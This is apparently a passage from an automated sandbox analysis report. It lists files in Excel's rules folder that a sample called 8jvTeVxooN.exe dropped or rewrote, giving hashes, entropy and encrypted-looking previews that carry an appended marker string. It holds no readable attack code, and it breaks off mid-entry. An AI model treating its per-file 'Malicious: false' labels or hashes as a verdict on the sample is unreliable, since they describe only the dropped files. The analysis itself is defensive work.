SHA-256:	B490A236976C2169C8040BB03E4D1D19F0C1CE0B0F409570D354FC3A938AEFAC
SHA-512:	F69095685EAFFA631B62AACF4C8E2C44CDFBEB3517C1E7CFBFE84ABA22F7E7A4BBF19DA44B3EB4A36597378E2CF3C188F404610DA7F74CBBD97BDE7EC3FBC285
Malicious:	false
Preview:	<?xmlv.m...<.7m...'.....lG8.A...0.$H..3..KV..A~.TU!g..T...?.i....,..c....].....w..,!W..?-.........1h..5{o.L...]..+j.....I..~D...%T".8.....u.....1>}!....p...y.....E.;cC..(......\|..B...I..L1.T.3Eg...o..%.cZ.`.!..+...}Um......J.V.p.'.}%....0....U....k...q..yx5...#.H."-....<_...J1~:.e...w..;......Ys...C.@...C>...I...~..oN={oi.^.=..w....`..\m{......7......D....w...%....U.;....m>H!a.f....~.Np:......W]{l.B.....Y..w\|<..Sv....f..=........5o4..]...G......8..q./..o......lb....hr.....m.1W5I.X...:K...U.A.."&s.G.i;..Q......'-\........<.$L/...AO1.........?V4.X.z. ..~...fN0.a..B^.....M..<..B._.m...FA..Icf.U.2J}\|....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.889209826727646
Encrypted:	false
SSDEEP:	48:zkq/hcewFN4y+QdyYzQSpYQKAAQN8N+4csD:dce4bdLOQKAuUHI
MD5:	4D19EBD81BDA1A448B2F26D231621E27
SHA1:	92F298DE7F5E1C5992677A98C415967B933975A2
SHA-256:	49FE95FCBB460C3C1DBACFCF355C02CEA7B663525F1DBD6D7244C1898A157467
SHA-512:	8A3057C9E54BEF21B19F57A028782D0F0DE08EB7F90CE34BA8D1A7B6E5B0E91AF88DA7E426DD8515D743B7A0D0C4299E959EA6CC978DCBE0EBE3F5C3FAE51F1B
Malicious:	false
Preview:	<?xml..K.....-....~.R...L.P_.q...P.^..2u.y..2.2......gb.8S....x...9a.;]-..crY.Ww....:.....Y.J....@...}w..r..Y.f&.7.B@6.k2'......{=R3>.SYo..D3.h... .........1/...&s.7%nq..$k.{.B..SK..[..!6..$..h.#Hv..c.s...I..VGB...bE.O..f7..+...+...}.#e...-_m2..CD....!..[.x.....PpF..."=..t...].U.)..V.WZ.7(.P=.x.h....NW..0.B....$7....>>!.~7% .z{.&2..T.[Q.6]..`.L.?Q.....=..;=&q...0...C..Jx...ZX.K....J..g.~.I.@...w...TE...K.....<.(.d. .......L.2.=99...D;EzX.$....<.....#4>$Kn...D<.-..n4f.{..(:.k.#.....+.y.q.1..A.N..Q.}X[.$..,.n\......I.....\.l.....q.......Mp..0.D>.."!.1.P...J'...."..)k.LcMre.]..:.a]...>kpJ......Q...`B.[...+ICbU..p..7...Q..6<........o....[....OVc.......c.9.U#^.[...;OR.Z.a.4.`5..Y......&a1.....W..Z.0Rh>.1...G..XM.i."...f..4......6.f..M0a.Wz...e~fbU#..X..b.....i.=..!. \|{%.AE ..k....ks.@..d.~...../#.l.J.y.....4e....TY.Y...&.6.\......wx...v@).(..*7x..rc1J#.5.......\..../..g.P.sj1T.r.8....u..x..u..qXE>50.a.,q...l.P4R.)=[![P.....bO0{..~a.\zd.}.s~I...%.A.V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.912488712862312
Encrypted:	false
SSDEEP:	48:IE7LTlRLFVB/N2O+JuoM1T0Us7qmqaYe0J9FiBoItyOAewY77D:IiLTlN3BlboulWUGqmqaYbFCFw4w+3
MD5:	0840AF14BD31832E1914EACE1EECBCB7
SHA1:	BCA69F6DC88349EF2F635A9576533E49E94126EF
SHA-256:	BE554D738150845812D332947FB9F4313815838D67A5890EDF2D10122CD152AD
SHA-512:	BFF0ACB1779F42652FBE6732C2E180DF5954B495683A93C4B0B865E0DE5E5480856358E8ABE07AAF99209EC29F3A69BB65BA1EC73C1CFAAD24F035B14DBB5E10
Malicious:	false
Preview:	<?xml..u.4..#j....<;.G....G....G`.....W.... S.LEg..R.,.j^nk..J...uH.!8...h..a.y..K.<..2]D....o.~....W..b...=.Ep.3O...N.~h.E.{w.<....h...;...........-.....D...s.6?.......gi.....s.Cbj.D%T.R vlI.;DG.Gg..G.T.t.}...-.tu....a....m...)_..gh.l1.OtL...Dv...MG.-..e..s=..i...7w...Nk.m"........RA...u.f...P<.._.Ue..{u'ueW......(.5..(./.l...y..l..KK.j.b.\a^k@b...2..~GE.,@.+...Z.8-.n.$.........2.8.c...........X....~.nth2S....4.{.Db..T_(.tl..>AU.....1.N.KWiC...^N..j.!6x.yX_i..T.1.\|..3U.....5......8I%-.I..........V.\|.ie2.........cW)....=.....l.L......t..L.?.....z..X]...NM.4...t~wGf.=gx.<.&aDK....@./..J........{f`/.<......O...AS?..P....C.\..+.........8Y...s.\.[...y%6.l...y&)p....XI.". ....m...@.....q.\g{.+..R......,2..`U.V..s.3..#K.i]<...p.....XE...<`x...-L<j..............J..\|.......].....!.....!.!.X.w*0.Yj.[..B.F...Q.[...IM.f.6.o. ..z....D...V.....V..1.J...=i]..K.II.B.o..?l(...%.O."....%[..sz.[.D........N...Q.....Zp.sY)....mr{#.UTD.z.CU..A...^~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879418507479385
Encrypted:	false
SSDEEP:	48:sqAsDq4ATXPOZTCSrrmlysi5rL9dU8V0kGXhfg0aRujxsSVyyh8D:siH87Srm85rLo1kag0aRujxsSQ/
MD5:	BFC44369885321CE74CDFA6FD0D79073
SHA1:	7FE2481A3667538B34DF288A2C2C75DB4AC20BEB
SHA-256:	12AA47265D9F9F221D24B68E945635E58C8EC4CEF04A39F48B9FBFEB4F93D0E1
SHA-512:	8F87DE798AE1FC4202D59F28FB1E20A17CC99618C03F15CFBB2F2A261DFE15527C15578B7141562964682EBFDBB32D711D1756DBD43E9BE088A4804F026B411C
Malicious:	false
Preview:	<?xml4G...9...^.1k.,..s..4..w....V..g.c.5A...a.].S..{`.$.U{......]...OE-w.s#.7u..b~.Hz._..T...5...H."..<..8G..d.....FUM.....9...-.M.....{......s.q..D...>..u.k\.Vx.dz-+.$..=..f..cBgT#V..rR5...fW......ox...H...x.?.(b...J-.w......iB.L=F.7..H%D.....x...ek......S5..o?D...G.D...k..Q........k..b..}\|...[.?A/ts2....d.O....r.F..4`.3..E..n.ay K...R.p.{u.dE...8.}.$.e..(..n.......H...e..L.Zz.......q<....x.._.....$p..D."..T$....-.P..C....}....plE.7...@4....?..GL...0....S...Q....@."o..._Z.T.xq.<......:L .S....N..2.wH5....Fn....^....n.........4.d.W:a..DG<7..8..v...B....3+.~...0.7.....2...{...^bWk?.v..]...u6..!M..$/xs..c.9...e..m....X..R.N.m..x..NyniRa]V...~....C.q.u.{....Z.T..Oz.~..,..U...W."H.).3...a........M..s....K..Y.u^z..X..Y........K(\.y..]....... r9...Z..G.j.I5Y........3........G...!,E...n.@..}.N..7..`2..x..H...H....t...g...<m....NG. .=.....n..S....v...!LM)..(.......e.*c.?.&\|.......iy77 ....j...'..#.. o\|.G..5..4V....j...8 ....}.#...;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.776199276881583
Encrypted:	false
SSDEEP:	12:WRfi36O9OTIvrfDcrJZWciVLCqolPKJFUaeneBKDHozB8r+0pxt6siPQDZJdu1L+:WRfvO9tziiVQCeOAykOVPCeRObD
MD5:	45DFE55595E3EEF4754454B29FC15BC5
SHA1:	39FDB7E99C7688803C3BB930A21BF38B34CC7815
SHA-256:	56F63494F58AFD1EF3B0E96B0C4B3243C6F780914132E802CE59C9DDF890FC3C
SHA-512:	7A142423D792A159309D4CF00B0EE8FA0A04C5D0535CBCAE885BC8C3A9AD066E9212B5AB799634A95C1E2916B6CE29778642BDB1A19CB30D7ABB6A74E08C548D
Malicious:	false
Preview:	<?xml.Tf..URv.. .J.'.X..)...z;.4..$!.Y^?J#.?p....^$vB{.t...G....M..... ....>...h...w....b.l......q.m.....u......2.."'..4...Y=..sK;Q.[U:..Uf#@..{wT..?z.........;=.N..r[....Y.{f...........4.L...&b.....I@..oq...Km.8..;...t<..PIH../...."......).ojl.{...1e.N.X..7..7..L.......P.#=..0!...RP...e(..[1._..L..Oh.6BS.G.3....E.V.v...L.n8a.}<f..!.....L....e...{..t.2?...u]....w..Q7s\..x..V..T..3.6..%.+.X.f.~......Z..{.3..4Q...x...._@..NR..fpJ. ....f.;x.......@....m..Ps^..e..@...I...2.2B.z....-._...1V[,....~F..WX.8P2.<..d.}.0....F@S@9.s....8.....E..s.N....j....c^f..g.o.../.#....9Lr...!...;..n.....I.El?PV._...q...m[......}....g..C.\|]..".a..G............mO.=z.1.U../T.u..O.b..%.....@....c.......#..\|...\......&4.....lx).$.V3..B...zU..5...!Z....N.Es.G...r...s..c.V..k.x..f.UvB8Kj~<c......1"....F........Q.V=.Q.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.790938224907669
Encrypted:	false
SSDEEP:	24:EtlLDDzJHfq5Kqx+cuuagGXXAuUTLzF6DX3ik1ObD:ylLXN/qdpukGXXAuOkTSjD
MD5:	F85DF7742A03CAC448CC53C06ED8CDB4
SHA1:	0CB7016493D12E6587921D8BE38565920DCED7D8
SHA-256:	91474E3008150F9176AB04BB4E67AA92823B3B0A6A338CFE993A8460833A84C8
SHA-512:	9A7401291CD7E23B5091CC96E193700428A053AB7BA941F16C63ABC32F5883A2AEE87AE10C4F1DD4CC7393CC47D1EAC5B55CD6BA94D0E085C4600C6724D7D915
Malicious:	false
Preview:	<?xml.FK.E3.\|.C...Y.d..6HZ\|.V..)v.I>.)...3..D.r..Wfr....h.9.B.6.E..[r<.%..6....vb\|;...K.e.....PP...oH2.ZT..9p.....a.pTI...tK...,...K..V.3A.P..g..z.L...E......k.C.-...Df[16.O....K.#..V.#m..._.BQ.........k.^....t.E..I.3....... "!...u5...2....C....n3n...rz#..ONd8....7.J...H.Z.\W-2C..[TA>.......74....x.&.5.`...~..._..Q..8....w$Y....,^?..lZ{..RD..._.n....%K.D..#..Q.$..Y....)g.so.Q-..P.-;?:H......a....Lb....pI{....l.D1.i$pZI6....Xb...8u.6.(VR(.."..(.+m.<j.....F&.!0.n@.&g...9..#.EIW...H%.....V.~..0h....5..h`_.......7D >Q.aD.r..4u.1!oC.v.t[.....5g..=.v.I..1..G.....j.9..H..X..\|.w..._.+.a7.1....@..Py.....y.$,..q../.(.t.-..,{;...........W..h...."`.a.wi.......>.0O.sg.........\|...PB.u0.l.......mlE..P.. .G.x.....(k...I!7.j..>A.P=....=z:.r..0.7...z..Z........J..SI.7..;C).}$Z.)E.I. LDq..;.e.{Ez..<..)...f..G..fJ.......-.+.8.#..k...Z."[f....=]......'...T.I\=,H.=G..w<.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.930265902376501
Encrypted:	false
SSDEEP:	48:ZxH1YrSkPd+TBh8nnLlSSHZ9RNyrsUoLKzotWhmV9AwFupyuD:riead+SLbZ9DyYU1znkl6
MD5:	203E09E293D3CE91A1977904D10B0893
SHA1:	3D04E8997FAB93F22A7F5532A9396307E6514CD2
SHA-256:	6D17A0B01E12B485034DF9DA0238FAE683C38A91D252C41AB7197B9A28A546B6
SHA-512:	595E3C02A88196959BD8A04EA111EE89201E99F5E47F6CEF7F33C986DF785DA59965D2ADE6ED704F4207743291170462DEF7201334BF63A426EB279A45B19D94
Malicious:	false
Preview:	<?xml'.[W.....QM.Nyy..Z...{..#...j.;.b.0.Q._.d1.!f..A]^j p.}t.....+.E.....f...I..Uo.+.a...o......o.1.z1...\|.. ..a.&gs.....o......+.....N.F........+n.....SSu.Z..":.1._n)X.Y.n.7k....6...$...lO...p.N...2....$1.H.!.7.$j.Z.../.'W....c...,.].e ..e...jD?.....^t...lu....[Q.....=.V@....... .2....%c.R.).^cz.G..a.j.............k...a.o....\~.z.n8.9r.J.e....+....M.....?...C.8O./zd(....v%..;.S.i.wxx.... .....I.~MN...H..?...m.<k.cK...hW.Y....%.'\^.G...[.nQ...<.b.p..}y0..6.%\|G..O..]..P\|K.O...K..I.)..........;....sl.U-.O."l...3e........S.........."n.'<L.(.>."....E..f......2.[.....s.d_z....bt....{..X.............4..........=`.m..54....$....s..=.h.zf.<*.....Dq.. .....p..K....7..kz.6P..1.yN......h'.........QY.$.r^...R..=.^E.;...;.6&.@.8......> .+...84...G.......3=G%L..Oc..,....d.=(Vg.m..K.t%S....SY...r.....v+iI..<...9...`..+t0.........@...L.Pcr...}.>....9_..EsT..y.c...a..Id..nw.!..HA.D.j{\|r..X..d0"~....J.Dq.k.@.d.z5........I......N+_.P.(......c..tA......qr,`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.882850214711775
Encrypted:	false
SSDEEP:	48:3GXSNij6VR/g0vO1S7zhQfs6KXjc+kW4qKoDE11BgRY9D:3wSNij6VVgQOI7zb6KXSxq6F
MD5:	110803414B405E14E4D934FA8825EFC4
SHA1:	224DD00122DA339A149993C73992DC19E84222EF
SHA-256:	58B9D0C58007886E2CE5A45220118E17148EBDA3E24F54D395B0058371F4D27C
SHA-512:	CC60FD4956C2FBDAF65E4348D595B5124A8474919576C51DC76FA73F6653DF61A23D756EA37E557650FB15544146B8ED2EC4E04A2C92A5BAB73B2E519CCAF03E
Malicious:	false
Preview:	<?xml@.].K.....a..!.......@.."q...A.o.^.\.\..N;(h...o.......xul>...>.....V5;.S..5......<,.@..^..!....r3.....+..,3..d....:$.I+AA0....C.kh...6...3.'...pk..F..Bd.h.FT.7.#.a-3({C....l.{..._...Kj.......u....l..\| ..^...@..hDP..;..1.Aa--.t.\)...Y.0.....Ah`.... A.k.N1fl....b...1p.*.e..+..l...oL..@Y].....G..k/Z9.....,...........w..X.....}..h..U...R]...3.%..7..3Pe.....O.5..[@Q.1.S...V.JD..I;.ZLY..j......Wz../......E.)Y.........r..A....Q...F.g......./........}..<+..jE{.E.O.x....9.t...N...z...;.mf....D4C.2dM...]....}...!.3.k...X..)m..R2...x"HZT_q...T..~I0...R.....,U.....9.fy#........`.6.......A..?.@..eim.B...-..RF.}.....{YLnF.F.....2.(_[".....3/.N.)..E.c ....&.......U...'.+...t.4%.-;E...........;.=.......-.7....z/=.`......Zr..J3..!../B....@.U..".C....(r..&@.J..3..+..nl...o9.+....I...j...4.7.]...A6'_.w..z...}s....c..Vxc....9E6Uj... ...j.f.,O..~W0N.c..Du.vY...=...y{.kca...E....3.bt..........g...H...a....a.<.....[@._.M`.....%BW......+n..yd.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.736630813038913
Encrypted:	false
SSDEEP:	24:UZxBAUYDWJ2NRPLHNi4D118pdKHEqhfdObD:UP5YDWJ2NRPL1D386FZCD
MD5:	1A03C7A5DF9E4E7750B375C05A2F5963
SHA1:	205459F2576648ED3EF9CD008541D37CCB7FB280
SHA-256:	6110E6C38BDD945910E74EE3CC6492D3CB9DE228BFE6E04A3960BDBE099E65CA
SHA-512:	76CC207F4F4C3FA39A5DA83F73B0760B8A6176B7584A6BCCAE31D73A7560DC42658C28DA07D0F32FEC4CA45E57BD11CB13EC270751AC3144A7119BDA7F1B40AE
Malicious:	false
Preview:	<?xml....J....p.<3... F..{..v..89v...).j...n....B..f..Q..Xz..\|q..g..3@...8f.. .7T......\.....'2.U........h.. .c......Lg.ct;.....#4...m!..T..I.W..uPI.H"u0.F;w..DE-..]w.x+C..-.....Z.7hX...W.=@..~..[.k...>...$.....y..np....U)^yCAp.o.`o.{2.Q......k..[K....,.:...j....@.\|.`...-.l.E).k..@=...C.Au......$..~..f._p.92....h.$/.j(......AB...\*~...NZ9l...6..'.x1.....yv.\...!..<.K..'.W@.TCM$......hk..[X...<m'0.....!...#^...9.....o%..fll.#........~qp.5...{.F.}...8s'@..4.o.a..[.ek.dZ...V..>o.........e@.Pp....{:....3.ks....0e.....I.,.......\|.....$.B....z.....>...............M.Ntr....(..1..i..z..5m.....Iz8...T.,#n..\.g./n..K....q.......J..>....@.M`.j.5q...-..b..X...\.u.b._,....k...E.1X$....q.`7.Ut.~4...QdE.mjv.......0(.N#......ip.8d...R....$A".U[u.g/..r.h.'.!H..[].Tn.}jlf...a.R$.].W.D``.W$e..43c.w..cA.....JZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.759283174046515
Encrypted:	false
SSDEEP:	24:7BFmNrCjxBBoJ990ni/cG3A16ge/2vlObD:7IrWxBQ9eipQNe+vqD
MD5:	2ABDEDC1D2EF946CBF4E55D7EBC64B13
SHA1:	591EA6098CC442136BD8555F83962478F1E3C74C
SHA-256:	03E77AF7BA17FA608A7DBBD38D075A82EEADD86B76091CF7291B740DB0698241
SHA-512:	5D436E197FD79D371B03C9DAD99E288CE599D4D5D7A21F933007CBDA87DDD53C7B8C787980B006727B27AE735D395FC694751D573E0528890F4635A95A1E769B
Malicious:	false
Preview:	<?xml.._.F.:..]....v..QGf..;.......v.#..\3.&>.\|_5.y.>)4.-.....1.Z...X.....V....?.1".s.3.1....h........./.[i... 'S.Tu.X..6.<..F.`....%.,:._ .;.j.>.....]9.O..f.j...k.......j).Rr+...lq..a=...Y..j....v........... .^..2.....~..G..Z....r..u..[..4~.._...9..z$....v..4......7..5E-......>.w!>o.}.s).U.....~V.L.u..j.A....D..n.ZVf.n.22...A..X.....&k...^g.V)PPL...f<..d..6AH......d.. 9.3.@...#S.J.T..w.pH..p...W3...Q.E.^'.QB....[.g?S.(..(7..9.%.....{d.Fy.#.8..'..y>r..?pYQ..<3.DK.a..Z# 4.'r...}#.#.=p..<C...J<......X...x..K.3,8....7..s<...<.Yu...../..\z.{l...,Va..t........u.......?!.)..B..Z4.q..U.h..*............'<.O.D<\..g.b.....Yj$....?{..y.a...C..l...J.K...i..)./T....sT...^..pAk!.%..6..k"..h..mZ.s^..?.JK...o8.>y.^He....G....c"{..._..\.)=@....$l.tt6.(/%.2.i... ..N..w..<.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.766675992348225
Encrypted:	false
SSDEEP:	24:k+cXVNSSmhzO9c+ZD+hWLIapccUIyIRObD:k7VNSNVKZTLIap9lyND
MD5:	F7E5AF7CEDB0B3B6A5D12EC2DCE7A8F7
SHA1:	C31CBDF334B2A1F2973AB620EB6F465469C63F71
SHA-256:	EAC26D7AD4BA2ECADC94E0768A8EBFD136C7D06D4955CBA34384587F1688B7BD
SHA-512:	7B3DA9820E5B423B751450C105E156677805CFCA754090F78DFA3D97054350D79FD3C85E31894CC222A0DC15F38E96DA838C7B353E0F4A30D582F5FE21205A22
Malicious:	false
Preview:	<?xmlB.z.TEU.;.......b...1.-r.:....c..w..>P.O..pA..<h.9.f..C..B...R_..j...Pp+....Z.?d..-.>N..l.....x.m..g..j......}.8B...pm...j]....J.7.c..5;..Tj....I`..a..n]-.89.+S..WKv..J....tRZ...e0c..^d...A.-v.....:...rSV.R.c...W.@V5......nYt.\|T0:....]B@a...6.i....b..U+..u. ..7M.6.H......2.,:...D.r..l..p.k.D.9..PuF.....s.vI;...U......x.7;la[.@.._VB....d. !.V.AS.F.%T.K...8..3....'....-...\\!.1..u.$..X.3..-.9...Z.V$.07..M.E.Y.f..j...&^....4.[.a.#...[F..$..I^..7...7.W.k...SQ.n..:.h.y.h..G..~.:.u.......".+...vh.g.\.E`T:....... ..Q_R..un.9.A.5.Dd5...z$O..d..Q...Z.j.>s...M{..--B.v~8..Z..fI.-....1.U...HL....@...'n..T...C....5bW........H.pk.......f..w.8I....u{Kkw.g...;$p......~..k..J.t....s..3tv.o4. 7......O........p../..M.1..c......ji...B1`..9..L.1NF.h\..z....,....9..Z........,s..@.#...1.b.O....,.{O..[epI..{'.........M$......,KV.$J.,...0..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.695677098429874
Encrypted:	false
SSDEEP:	12:Y7faee/QpOGRlONJUqTk59qKwLJDiKkqkB7hBGqfgosHvYUxZxlDivcqPHyjGl1p:mfe/Q7RlONCek5MrhpkFNOsgNX2bKjyP
MD5:	418D9B110E5FD14D9701BA0D39C09DF5
SHA1:	D7B1619A0354A16CF03CFAEF7CED3218E2DA5045
SHA-256:	4700EC06377D6DAD8567A14C6083C2F75902CC54AA8DCDBC3DA82B56E748293D
SHA-512:	622F88E47069D085FCE6738FE62316FBBC646509859DA001291A429155E1DA92F2A69E91B0DF72DC23C1486F6559D1E2FDAEBF5276765263545362DD0CF4E87E
Malicious:	false
Preview:	<?xml..x.F.X.y..R+..qD.b.UY%.$.~.1.?.....Xo...n...G.?\|.i{tZ7......k...v....^&.9lNr...0..l....U.Z.z.(..'C9q>/..!~..0....g8.x =./J.7......9..Z.^....._$v.[9>....2..YH...W...E/c..........._.@..e......S..^..}.4.....O.U...P...9...HD..!>^...w..=....2$ea.....u\|@.r..d.6".8C5..M..L.@a4V\|=.....~...\|...k`.&3..)i=..=..p-..M..E+>.`.r..Mr0...........v9..t:..Jgl..$..\...`.&..d~>\...0.t.4.>I9<>. .lk.s]j.......(.0.;...q!..C..n.W....@.K}!...........%yF^........;....l\|.....s.k......sG\.]E...a.$./[..!6if.......-JSp.;....2j`c....$..X.KT?..H$...;..,q-q6.7.L0..6$.......A...].\\.\|..ZK....L..5.I..+~v.T\|...../\.k.........Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.82233307045979
Encrypted:	false
SSDEEP:	24:Cqnb7bJ4Lvj+LsWAQzxtjcwHcWp1Y/HUTmp94nP7LgObD:CC7bsesFQzPY0Jp1Y/0Ta9eXTD
MD5:	2D8520AE666BAD61F84C089232C09A96
SHA1:	19B833EB1CE9C1862324C2902BDC7757991ED6FD
SHA-256:	9FD97ACD89BBEBB5ECCD1173EDCE111557C804C367067B83AF8DD8A421D5B39D
SHA-512:	81A0ADE9967EDE1C92A40C7CE7C1F810CB5368BE99F7547013BCA4FC6E2E093286BB0F9838D06062488351191BF52B93296CDDAED124DFAEA85ACB7B0E534F5A
Malicious:	false
Preview:	<?xmlP.m."...7...G.B.....~z.>....W{.......K#..:Ri6>..XZ@./...$.@J.......6..q8.vI....&<.56.b.~.V...cN.<Q..h......^~...E.]v...).:...P;fL..C.v^P..5......Q{c'.M"V._.h.J...?.HA..).kG...dk..f....P...M....Y...3...t..s......l6E.z..K.> `Q.9c.. c..bm....{...O..:.%0.........:...,z..#t; .7g.q.RS...C.;9Ps....}..n..1.......&.a.dIn.k...S..Z......!jOf<..U.9.M.ewh+3......3^C... %..D..4I.\.JW.g..7..;..x.C1.A.....}....Q...7>A....'M!.......]..z._.o..q..?.!..iH.....{.b..QCa....b.X..7.......0l...,B:..(...... .Wa.#.._*hu.Q...[;/U....).b.c..\|..9..t.Th...V.m....B..}.:E...Ux.eS...p.K.ua:L....fi..U.~~..@.]h....fn...8...z...Y4w...u..........G....b[.Y..(...%...F..:.......`.W.1.62.F....Q.....x..c...6..Ng......3..f.g.n...j3...U....Q.IV....(.\\......-...?..=d..Tp....".k.....au2.G..p...s..`....P...........@...P,..K.".d.,...C..p"9..._C.i....~._.Eu.%..E.II....z....b{..(k.\...F{;+.../U;..(../.6b..R.a...: ....!{..[.m!..$w.r.;.+.#Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.832443246150685
Encrypted:	false
SSDEEP:	24:/NtwvKaXxgLeaOMtHFSJyJyUrp3E3J5ihf8q8jmomObD:oBg9hHYJyQKZE3J5it8qyhJD
MD5:	D401379178CF09952C8814AD63F90308
SHA1:	ABB3B2FDEB9589DF896FD9CB0A0979E8D1EC90AC
SHA-256:	B9B21E5D051F95E0B95E3A5842A624BEED1B5E157CEFE1DD02C2BE0DDD53FD6A
SHA-512:	31317265544C9C3D6AE5A1A428D12F8E911265754EC925190C33E569F1F237EFB69A697F6AC668D89C0B366DE0E19DEB395CEF1E513661BF6C78350D92EB260E
Malicious:	false
Preview:	<?xml./.~....qc..x..+..L"..3f....3...3.Q...s.\..HT$.H}.+.......6...oQ..z.Z.!....._..n...N....d..n).py..A..........%`.k.W.....Q.".KU9n.69..M.D...Km.,Trd..h......a.....C....^0Z..9..V...$....-..+..=H.Y.=8...Eh...t.0.7l-...!....Wm.p..(2(..5..l..K...Ih....G_Joqp...Rp...lO...X.....S..V.n..&....0../..a...h..#...\...vG......^.....u.i]P..A.S.i..q..D..=4.W..H......o.-Mp. ...-.......b......3.4.(.+..va...3.....B..<{...u.,.\|..L.-` ......C..5gO....w..I.....\|.T..D.L..Q.V.S8=@..R..............._C..3=..\|YqkK..i..h.......m.F...6.....$..^./6..+.Vq.6fT......1......1........H+W7..R.&.,,f>e.c..b.W....?.m.....F..nn.s #4<.0.C....F.8.'.k..l.&es..F9.....c...X....!...X..}.b.w..K.a=..A}3..d...d....n1.. ....Z..F.n....0...).6......e.a...~..{M.Q..s...\|W..]=.X.y.y....\...Xy.zQ..I..\|._.D..6vh.&...@.....{.....3].....-.E4`_-.$.&..5..<......e.$.>..d&....F....}.RN.:.......s7+<...e..#?...-.j.n....V.u....%_$.1.z-B...0w.......*.\|.U.;.dC.......j.!..G.@.!.<0mz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.868326989220565
Encrypted:	false
SSDEEP:	24:3QHKfPyIc8FJOUZ5+ZTppQFQyuTZ6CSLU2EiA8BbUOcBb20FCPNXDJWfo2H3Ld6L:AQN7q3pllZ6G2EM918FuNXqbQW8XD
MD5:	BF9F72B3D1DAF3DF2D4E33D0549EBF51
SHA1:	B657125A6B9698859F2F4143585C9B037D581013
SHA-256:	D0707A892C37EA778C1FF4B0E4FC9B734E92A4F048FFF1B262DD1122B9E6D479
SHA-512:	0AC5276E60448D1116BD3D70C6DE6A016B92B96303D07D8EBE29667B94407CFA2521D345DF25B517A161479940F6C851D763701BCF5562611F5D6AFEF1A5DB79
Malicious:	false
